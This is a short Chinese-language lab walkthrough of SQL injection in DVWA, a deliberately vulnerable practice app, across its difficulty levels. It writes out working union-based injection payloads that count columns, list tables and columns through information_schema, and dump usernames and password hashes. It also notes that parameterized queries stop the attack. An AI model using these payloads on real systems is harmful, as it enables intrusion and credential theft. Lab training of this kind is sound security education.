LOW
1输入1,查询成功
2输入 1 and 1 =2
又恢复,说明不是数字型注入
3输入’
4发现报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
说明存在字符型注入点
5输入 1'order by 1# 有回复
6输入 1'order by 2# 也有回复
6输入 1'order by 3#,回复
Unknown column '3' in 'order clause'
说明仅有2列
7查询当前数据库
输入 1' union select 1,database()#
得知数据库名为dvwa
8查询数据库表名
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
9查询列名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
10查询密码(之后还需解密)
1' union select user,password from users#
MEDIUM
中级使用SQL注入保护的一种形式,具有 “mysql_real_escape_string()”。 但是,由于 SQL 查询的参数周围没有引号,因此这不会完全保护查询不被更改。
文本框已替换为预定义的下拉列表,并使用 POST 提交表单。
我们可以抓包
之后send to Repeater
通过修改id=1&Submit=Submit来进行sql注入
HIGH
这与低级别非常相似,但是这次攻击者以不同的方式输入值。 输入值使用另一个页面(而不是直接 GET 请求)通过会话变量传输到易受攻击的查询。
对,和low级别差不多,输入查询语句就可以了
IMPOSSIBLE
这些查询现在是参数化查询(而不是动态查询)。这意味着查询已由开发人员定义, 并区分哪些部分是代码,其余部分是数据。